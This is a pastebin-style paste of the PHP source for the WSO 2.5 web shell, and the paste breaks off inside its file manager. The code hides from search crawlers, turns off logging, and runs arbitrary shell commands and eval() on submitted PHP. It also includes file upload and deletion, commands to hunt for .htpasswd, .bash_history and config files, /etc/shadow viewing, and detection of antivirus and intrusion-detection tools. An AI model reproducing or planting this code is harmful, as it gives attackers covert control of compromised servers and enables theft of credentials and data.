· 10 years ago · Jun 20, 2016, 07:39 AM
1<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
2 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
3 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
4 header('HTTP/1.0 404 Not Found');
5 exit;
6 }
7}
8@ini_set('error_log', NULL);
9@ini_set('log_errors', 0);
10@ini_set('max_execution_time', 0);
11@set_time_limit(0);
12@set_magic_quotes_runtime(0);
13@define('WSO_VERSION', '2.5');
14if (get_magic_quotes_gpc()) {
15 function WSOstripslashes($array) {
16 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
17 }
18 $_POST = WSOstripslashes($_POST);
19 $_COOKIE = WSOstripslashes($_COOKIE);
20}
21function wsoLogin() {
22 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
23}
24function WSOsetcookie($k, $v) {
25 $_COOKIE[$k] = $v;
26 setcookie($k, $v);
27}
28if (!empty($auth_pass)) {
29 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
30 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
31}
32if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
33else $os = 'nix';
34$safe_mode = @ini_get('safe_mode');
35if (!$safe_mode) error_reporting(0);
36$disable_functions = @ini_get('disable_functions');
37$home_cwd = @getcwd();
38if (isset($_POST['c'])) @chdir($_POST['c']);
39$cwd = @getcwd();
40if ($os == 'win') {
41 $home_cwd = str_replace("\", " / ", $home_cwd);
42 $cwd = str_replace("\", " / ", $cwd);
43}
44if($cwd[strlen($cwd) - 1] != '/')
45 $cwd .= '/';
46
47if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
48 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
49
50if($os == 'win')
51 $aliases = array(
52 "ListDirectory" => "dir",
53 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
54 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
55 "Showactiveconnections" => "netstat - an",
56 "Showrunningservices" => "netstart",
57 "Useraccounts" => "netuser",
58 "Showcomputers" => "netview",
59 "ARPTable" => "arp - a",
60 "IPConfiguration" => "ipconfig / all"
61 );
62else
63 $aliases = array(
64 "Listdir" => "ls - lha",
65 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
66 "showopenedports" => "netstat - an | grep - ilisten",
67 "processstatus" => "psaux",
68 "Find" => "",
69 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
70 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
71 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
72 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
73 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
74 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
75 function wsoHeader() {
76 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
77 global $color;
78 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
79<style>
80body{background-color:#444;color:#e1e1e1;}
81body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
82table.info{ color:#fff;background-color:#222; }
83span,h1,a{ color: $color !important; }
84span{ font-weight: bolder; }
85h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
86div.content{ padding: 5px;margin-left:5px;background-color:#333; }
87a{ text-decoration:none; }
88a:hover{ text-decoration:underline; }
89.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
90.bigarea{ width:100%;height:300px; }
91input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
92form{ margin:0px; }
93#toolsTbl{ text-align:center; }
94.toolsInp{ width: 300px }
95.main th{text-align:left;background-color:#5e5e5e;}
96.main tr:hover{background-color:#5e5e5e}
97.l1{background-color:#444}
98.l2{background-color:#333}
99pre{font-family:Courier,Monospace;}
100</style>
101<script>
102 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
103 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
104 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
105 var p1_ = '" . ((strpos(@$_POST['p1'], "
106") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
107 var p2_ = '" . ((strpos(@$_POST['p2'], "
108") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
109 var p3_ = '" . ((strpos(@$_POST['p3'], "
110") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
111 var d = document;
112 function set(a,c,p1,p2,p3,charset) {
113 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
114 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
115 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
116 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
117 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
118 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
119 }
120 function g(a,c,p1,p2,p3,charset) {
121 set(a,c,p1,p2,p3,charset);
122 d.mf.submit();
123 }
124 function a(a,c,p1,p2,p3,charset) {
125 set(a,c,p1,p2,p3,charset);
126 var params = 'ajax=true';
127 for(i=0;i<d.mf.elements.length;i++)
128 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
129 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
130 }
131 function sr(url, params) {
132 if (window.XMLHttpRequest)
133 req = new XMLHttpRequest();
134 else if (window.ActiveXObject)
135 req = new ActiveXObject('Microsoft.XMLHTTP');
136 if (req) {
137 req.onreadystatechange = processReqChange;
138 req.open('POST', url, true);
139 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
140 req.send(params);
141 }
142 }
143 function processReqChange() {
144 if( (req.readyState == 4) )
145 if(req.status == 200) {
146 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
147 var arr=reg.exec(req.responseText);
148 eval(arr[2].substr(0, arr[1]));
149 } else alert('Request error!');
150 }
151</script>
152<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
153<form method=post name=mf style='display:none;'>
154<input type=hidden name=a>
155<input type=hidden name=c>
156<input type=hidden name=p1>
157<input type=hidden name=p2>
158<input type=hidden name=p3>
159<input type=hidden name=charset>
160</form>";
161 $freeSpace = @diskfreespace($GLOBALS['cwd']);
162 $totalSpace = @disk_total_space($GLOBALS['cwd']);
163 $totalSpace = $totalSpace ? $totalSpace : 1;
164 $release = @php_uname('r');
165 $kernel = @php_uname('s');
166 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
167 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
168 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
169 if (!function_exists('posix_getegid')) {
170 $user = @get_current_user();
171 $uid = @getmyuid();
172 $gid = @getmygid();
173 $group = "?";
174 } else {
175 $uid = @posix_getpwuid(posix_geteuid());
176 $gid = @posix_getgrgid(posix_getegid());
177 $user = $uid['name'];
178 $uid = $uid['uid'];
179 $group = $gid['name'];
180 $gid = $gid['gid'];
181 }
182 $cwd_links = '';
183 $path = explode("/", $GLOBALS['cwd']);
184 $n = count($path);
185 for ($i = 0;$i < $n - 1;$i++) {
186 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
187 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
188 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
189 }
190 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
191 $opt_charsets = '';
192 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
193 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
194 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
195 $m['Self remove'] = 'SelfRemove';
196 $menu = '';
197 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
198 $drives = "";
199 if ($GLOBALS['os'] == 'win') {
200 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
201 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
202 }
203 echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
204 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
205 ':'') . ' < / span > < / td > '
206 . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
207 . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
208 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
209 }
210 function wsoFooter() {
211 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
212 echo "
213</div>
214<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
215 <tr>
216 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
217 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
218 </tr><tr>
219 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
220 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
221 </tr><tr>
222 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
223 <td><form method='post' ENCTYPE='multipart/form-data'>
224 <input type=hidden name=a value='FilesMAn'>
225 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
226 <input type=hidden name=p1 value='uploadFile'>
227 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
228 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
229 </tr></table></div></body></html>";
230 }
231 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
232 function posix_getpwuid($p) {
233 return false;
234 }
235 }
236 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
237 function posix_getgrgid($p) {
238 return false;
239 }
240 }
241 function wsoEx($in) {
242 $out = '';
243 if (function_exists('exec')) {
244 @exec($in, $out);
245 $out = @join("
246", $out);
247 } elseif (function_exists('passthru')) {
248 ob_start();
249 @passthru($in);
250 $out = ob_get_clean();
251 } elseif (function_exists('system')) {
252 ob_start();
253 @system($in);
254 $out = ob_get_clean();
255 } elseif (function_exists('shell_exec')) {
256 $out = shell_exec($in);
257 } elseif (is_resource($f = @popen($in, "r"))) {
258 $out = "";
259 while (!@feof($f)) $out.= fread($f, 1024);
260 pclose($f);
261 }
262 return $out;
263 }
264 function wsoViewSize($s) {
265 if (is_int($s)) $s = sprintf("%u", $s);
266 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
267 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
268 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
269 else return $s . ' B';
270 }
271 function wsoPerms($p) {
272 if (($p & 0xC000) == 0xC000) $i = 's';
273 elseif (($p & 0xA000) == 0xA000) $i = 'l';
274 elseif (($p & 0x8000) == 0x8000) $i = '-';
275 elseif (($p & 0x6000) == 0x6000) $i = 'b';
276 elseif (($p & 0x4000) == 0x4000) $i = 'd';
277 elseif (($p & 0x2000) == 0x2000) $i = 'c';
278 elseif (($p & 0x1000) == 0x1000) $i = 'p';
279 else $i = 'u';
280 $i.= (($p & 0x0100) ? 'r' : '-');
281 $i.= (($p & 0x0080) ? 'w' : '-');
282 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
283 $i.= (($p & 0x0020) ? 'r' : '-');
284 $i.= (($p & 0x0010) ? 'w' : '-');
285 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
286 $i.= (($p & 0x0004) ? 'r' : '-');
287 $i.= (($p & 0x0002) ? 'w' : '-');
288 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
289 return $i;
290 }
291 function wsoPermsColor($f) {
292 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
293 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
294 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
295 }
296 function wsoScandir($dir) {
297 if (function_exists("scandir")) {
298 return scandir($dir);
299 } else {
300 $dh = opendir($dir);
301 while (false !== ($filename = readdir($dh))) $files[] = $filename;
302 return $files;
303 }
304 }
305 function wsoWhich($p) {
306 $path = wsoEx('which ' . $p);
307 if (!empty($path)) return $path;
308 return false;
309 }
310 function actionSecInfo() {
311 wsoHeader();
312 echo '<h1>Server security information</h1><div class=content>';
313 function wsoSecParam($n, $v) {
314 $v = trim($v);
315 if ($v) {
316 echo '<span>' . $n . ': </span>';
317 if (strpos($v, "
318") === false) echo $v . '<br>';
319 else echo '<pre class=ml1>' . $v . '</pre>';
320 }
321 }
322 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
323 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
324 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
325 wsoSecParam('Open base dir', @ini_get('open_basedir'));
326 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
327 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
328 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
329 $temp = array();
330 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
331 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
332 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
333 if (function_exists('oci_connect')) $temp[] = "Oracle";
334 wsoSecParam('Supported databases', implode(', ', $temp));
335 echo '<br>';
336 if ($GLOBALS['os'] == 'nix') {
337 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
338 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
339 wsoSecParam('OS version', @file_get_contents('/proc/version'));
340 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
341 if (!$GLOBALS['safe_mode']) {
342 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
343 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
344 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
345 echo '<br>';
346 $temp = array();
347 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
348 wsoSecParam('Userful', implode(', ', $temp));
349 $temp = array();
350 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
351 wsoSecParam('Danger', implode(', ', $temp));
352 $temp = array();
353 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
354 wsoSecParam('Downloaders', implode(', ', $temp));
355 echo '<br/>';
356 wsoSecParam('HDD space', wsoEx('df -h'));
357 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
358 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
359 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
360 $temp = "";
361 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
362 $uid = @posix_getpwuid($_POST['p2']);
363 if ($uid) $temp.= join(':', $uid) . "
364";
365 }
366 echo '<br/>';
367 wsoSecParam('Users', $temp);
368 }
369 }
370 } else {
371 wsoSecParam('OS Version', wsoEx('ver'));
372 wsoSecParam('Account Settings', wsoEx('net accounts'));
373 wsoSecParam('User Accounts', wsoEx('net user'));
374 }
375 echo '</div>';
376 wsoFooter();
377 }
378 function actionPhp() {
379 if (isset($_POST['ajax'])) {
380 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
381 ob_start();
382 eval($_POST['p1']);
383 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
384
385 \'") . "';
386";
387 echo strlen($temp), "
388", $temp;
389 exit;
390 }
391 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
392 wsoHeader();
393 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
394 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
395 ob_start();
396 phpinfo();
397 $tmp = ob_get_clean();
398 $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
399 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
400 }
401 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
402 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
403 if (!empty($_POST['p1'])) {
404 ob_start();
405 eval($_POST['p1']);
406 echo htmlspecialchars(ob_get_clean());
407 }
408 echo '</pre></div>';
409 wsoFooter();
410 }
411 function actionFilesMan() {
412 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
413 if (!empty($_POST['p1'])) {
414 switch ($_POST['p1']) {
415 case 'uploadFile':
416 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
417 break;
418 case 'mkdir':
419 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
420 break;
421 case 'delete':
422 function deleteDir($path) {
423 $path = (substr($path, -1) == '/') ? $path : $path . '/';
424 $dh = opendir($path);
425 while (($item = readdir($dh)) !== false) {
426 $item = $path . $item;
427 if ((basename($item) == "..") || (basename($item) == ".")) continue;
428 $type = filetype($item);
429 if ($type == "dir") deleteDir($item);
430 else @unlink($item);
431 }
432 closedir($dh);
433 @rmdir($path);
434 }
435 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
436 if ($f == '..') continue;
437 $f = urldecode($f);
438 if (is_dir($f)) deleteDir($f);
439 else @unlink($f);
440 }
441 break;
442 case 'paste':
443 if ($_COOKIE['act'] == 'copy') {
444 function copy_paste($c, $s, $d) {
445 if (is_dir($c . $s)) {
446 mkdir($d . $s);
447 $h = @opendir($c . $s);
448 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
449 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
450 }
451 foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
452 } elseif ($_COOKIE['act'] == 'move') {
453 function move_paste($c, $s, $d) {
454 if (is_dir($c . $s)) {
455 mkdir($d . $s);
456 $h = @opendir($c . $s);
457 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
458 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
459 }
460 foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
461 } elseif ($_COOKIE['act'] == 'zip') {
462 if (class_exists('ZipArchive')) {
463 $zip = new ZipArchive();
464 if ($zip->open($_POST['p2'], 1)) {
465 chdir($_COOKIE['c']);
466 foreach ($_COOKIE['f'] as $f) {
467 if ($f == '..') continue;
468 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
469 elseif (@is_dir($_COOKIE['c'] . $f)) {
470 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
471 foreach ($iterator as $key => $value) {
472 $zip->addFile(realpath($key), $key);
473 }
474 }
475 }
476 chdir($GLOBALS['cwd']);
477 $zip->close();
478 }
479 }
480 } elseif ($_COOKIE['act'] == 'unzip') {
481 if (class_exists('ZipArchive')) {
482 $zip = new ZipArchive();
483 foreach ($_COOKIE['f'] as $f) {
484 if ($zip->open($_COOKIE['c'] . $f)) {
485 $zip->extractTo($GLOBALS['cwd']);
486 $zip->close();
487 }
488 }
489 }
490 } elseif ($_COOKIE['act'] == 'tar') {
491 chdir($_COOKIE['c']);
492 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
493 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
494 chdir($GLOBALS['cwd']);
495 }
496 unset($_COOKIE['f']);
497 setcookie('f', '', time() - 3600);
498 break;
499 default:
500 if (!empty($_POST['p1'])) {
501 WSOsetcookie('act', $_POST['p1']);
502 WSOsetcookie('f', serialize(@$_POST['f']));
503 WSOsetcookie('c', @$_POST['c']);
504 }
505 break;
506 }
507 }
508 wsoHeader();
509 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
510 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
511 if ($dirContent === false) {
512 echo 'Can\'t open this folder!';
513 wsoFooter();
514 return;
515 }
516 global $sort;
517 $sort = array('name', 1);
518 if (!empty($_POST['p1'])) {
519 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
520 }
521 echo "<script>
522 function sa() {
523 for(i=0;i<d.files.elements.length;i++)
524 if(d.files.elements[i].type == 'checkbox')
525 d.files.elements[i].checked = d.files.elements[0].checked;
526 }
527</script>
528<table width='100%' class='main' cellspacing='0' cellpadding='2'>
529<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
530 $dirs = $files = array();
531 $n = count($dirContent);
532 for ($i = 0;$i < $n;$i++) {
533 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
534 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
535 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
536 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
537 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
538 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'dir'));
539 }
540 $GLOBALS['sort'] = $sort;
541 function wsoCmp($a, $b) {
542 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
